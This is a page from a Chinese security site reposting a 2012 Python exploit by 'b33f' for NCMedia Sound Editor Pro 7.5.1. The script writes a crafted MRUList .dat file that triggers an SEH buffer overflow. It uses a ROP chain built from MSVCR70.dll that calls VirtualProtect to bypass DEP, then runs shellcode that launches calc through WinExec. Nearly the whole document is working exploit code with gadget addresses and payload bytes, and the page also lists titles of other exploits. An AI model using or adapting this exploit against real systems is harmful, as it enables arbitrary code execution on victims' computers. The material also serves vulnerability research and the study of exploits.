首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
NCMedia Sound Editor Pro 7.5.1 Buffer Overflow
来源:http://www.fuzzysecurity.com 作者:b33f 发布时间:2012-10-08  
#!/usr/bin/python
 
#---------------------------------------------------------------------------#
# Exploit: NCMedia Sound Editor Pro v7.5.1 SEH&DEP                          #
# Author: b33f - http://www.fuzzysecurity.com/                              #
# OS: Windows 7 Pro SP1 (probably universal across 32-bit)                  #
# POC - Julien Ahrens XP SP3: http://www.exploit-db.com/exploits/21331/     #
# Software: http://www.soundeditorpro.com/                                  #
# HOWTO: put the *.dat file in [USER]\Roaming\Sound Editor Pro\             #
#        open -> click "File" menu -> calc ;))                              #
#---------------------------------------------------------------------------#
# Curiously enough, the only thing that went through the mind of the        #
# ROP-Chain as it was executed was "Oh no, not again"!                      #
#---------------------------------------------------------------------------#
 
import sys, socket, struct
 
file="MRUList201202.dat"
 
#--------------------------------------------------------------------------------------------------------------#
# Semi-Universal ROP chain based entirely on MSVCR70.dll which comes packaged with "NCMedia Sound Editor"...   #
#--------------------------------------------------------------------------------------------------------------#
rop = struct.pack('<L',0x7c0126bc)  # XCHG EAX,EBP # ADD AL,7C # RETN                                           \
rop += struct.pack('<L',0x7c0358a1) # POP EAX # RETN                                                             |
rop += struct.pack('<L',0x7C0390FD) # VirtualProtect() -> ESI=0 EBP=0 -> 7c039138(VP)-3B                         | MOV VP -> ESI
rop += struct.pack('<L',0x7c023a4f) # ADD ESI,DWORD PTR DS:[EAX+EBP+3B] # RETN                                  /
#--------------------------------------------------------------------------------------------------------------#
rop += struct.pack('<L',0x7c0358a1) # POP EAX # RETN                                                            \
rop += struct.pack('<L',0xFFBF90EF) # NEG is -> 0x00406f11 : jmp esp [SoundEditorPro.exe]                        | JMP ESP -> EBP
rop += struct.pack('<L',0x7c0167cd) # NEG EAX # RETN [MSVCR70.dll]                                               |
rop += struct.pack('<L',0x7c0126b7) # XCHG EAX,EBP # ADD AL,7C # RETN                                           /
#--------------------------------------------------------------------------------------------------------------#
rop += struct.pack('<L',0x7c0358a1) # POP EAX # RETN                                                            \
rop += struct.pack('<L',0xFFFFFDFF) # Neg is 201-HEX (513-bytes)                                                 | Executable Size -> EBX
rop += struct.pack('<L',0x7c0167cd) # NEG EAX # RETN                                                             |
rop += struct.pack('<L',0x7c01561c) # ADD EBX,EAX # XOR EAX,EAX # INC EAX # RETN                                /
#--------------------------------------------------------------------------------------------------------------#
rop += struct.pack('<L',0x7c026484) # POP EDI # RETN                                                            \  ROP-NOP -> EDI
rop += struct.pack('<L',0x7c034e02) # ROP-NOP                                                                   /
#--------------------------------------------------------------------------------------------------------------#
rop += struct.pack('<L',0x7c0358a1) # POP EAX # RETN                                                            \
rop += struct.pack('<L',0xFFFFFFC0) # NEG is 0x40                                                                | newProtect -> EDX
rop += struct.pack('<L',0x7c0167cd) # NEG EAX # RETN                                                             |
rop += struct.pack('<L',0x7c026dc4) # MOV EDX,EAX # INC ECX # MOVZX EAX,BYTE PTR DS:[ECX] # ADD EAX,EDX # RETN  /
#--------------------------------------------------------------------------------------------------------------#
rop += struct.pack('<L',0x7c034e01) # POP ECX # RETN                                                            \  RW lpOldProtect -> ECX
rop += struct.pack('<L',0x7c049001) # lpOldProtect                                                              /
#--------------------------------------------------------------------------------------------------------------#
rop += struct.pack('<L',0x7c0358a1) # POP EAX # RETN                                                            \  NOP padding -> EAX
rop += struct.pack('<L',0x90909090) # NOP                                                                       /
#--------------------------------------------------------------------------------------------------------------#
rop += struct.pack('<L',0x7c0126b6) # PUSHAD # XCHG EAX,EBP # ADD AL,7C # RETN                                  |  PUSHAD -> pwnd!!
#--------------------------------------------------------------------------------------------------------------#
 
#----------------------------------
# Greets to SkyLined, you do great work with shellcode!!
#----------------------------------
calc = (
"\x31\xD2"                      #
"\x52"                          #
"\x68\x63\x61\x6C\x63"          # Stack has arguments for
"\x89\xE6"                      # WinExec -> calc
"\x52"                          #
"\x56"                          ########
"\x64\x8B\x72\x30"              #
"\x8B\x76\x0C"                  #
"\x8B\x76\x0C"                  # Found Kernel32
"\xAD"                          # base address
"\x8B\x30"                      #
"\x8B\x7E\x18"                  ########
"\x8B\x5F\x3C"                  # Found export table offset
"\x8B\x5C\x1F\x78"              ########
"\x8B\x74\x1F\x20"              # Found export names table
"\x01\xFE"                      ########
"\x8B\x4C\x1F\x24"              # Found export ordinals table
"\x01\xF9"                      ########
"\x42"                          #
"\xAD"                          # Found WinExec ordinal
"\x81\x3C\x07\x57\x69\x6E\x45"  #
"\x75\xF5"                      ########
"\x0F\xB7\x54\x51\xFE"          #
"\x8B\x74\x1F\x1C"              #
"\x01\xFE"                      # Pop calc ;))
"\x03\x3C\x96"                  #
"\xFF\xD7")                     #
 
#----------------------------------
# badchars -> '\x00\x0d\x0a'
# 0x0040e02a {pivot 1092}  # ADD ESP,444 # RETN [SoundEditorPro.exe]
# ROP-NOP Slide 0x7c034e02 [MSVCR70.dll]
#----------------------------------
b00m = "\x90"*10 + calc
poc = "\x02\x4E\x03\x7C"*61 + rop + b00m + "\x41"*(3880-len(rop + b00m)) + "\x2A\xE0\x40\x00"
 
try:
    print "[*] Creating exploit file...\n"
    writeFile = open (file, "w")
    writeFile.write( poc )
    writeFile.close()
    print "[*] File successfully created!"
except:
    print "[!] Error while creating file!"


 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·MS11-080 AfdJoinLeaf Privilege
·InduSoft Web Studio Arbitrary
·FastStone Image Viewer 4.6 <=
·QNX QCONN Remote Command Execu
·HCView WriteAV Crash PoC
·Windows Escalate UAC Protectio
·JPEGsnoop <= 1.5.2 WriteAV Cra
·Microsoft Office Excel 2003 St
·Dart Communications Stack Over
·Samba SetInformationPolicy Aud
·Microsoft IIS 5.0/6.0 FTP Serv
·Smartfren Connex EC 1261-2 UI
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved